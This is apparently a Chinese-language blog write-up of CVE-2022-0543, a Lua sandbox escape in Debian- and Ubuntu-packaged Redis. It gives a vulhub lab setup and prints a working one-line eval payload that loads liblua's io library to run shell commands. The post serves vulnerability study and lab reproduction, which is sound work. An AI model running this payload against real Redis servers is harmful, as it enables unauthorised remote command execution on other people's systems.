CVE 2022 0543 Redis Lua 沙盒逃逸 RCE

西研究员 Reginaldo Silva 于 2022 年 3 月 8 日公开披露 [1] 该漏洞,从他的博客得知 CVE-2022-0543 该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞。ph 师傅也在其 vulhub [2] 项目中更新了该漏洞。

Redis 是著名的开源 Key-Value 数据库,其具备在沙箱中执行 Lua 脚本的能力。

Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。

vulhub 漏洞环境

利用 vulhub 启动一个使用 Ubuntu 源安装的 Redis 5.0.7 漏洞环境。

version: '2'
services:
 redis:
   image: vulhub/redis:5.0.7
   ports:
    - "6379:6379"

漏洞 Exploit

redis-cli -h ip 连接该 Redis,直接执行:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

我们借助 Lua 沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。

不同环境下 liblua 库的位置可能不同。

image-20220311134325365

总的来说该漏洞也是值得关注的,由于目前 Debian 系作为服务器的情况很多,且服务器一般常年不更新其软件,所以实际攻防可能也会遇到。

修改链接格式
加载评论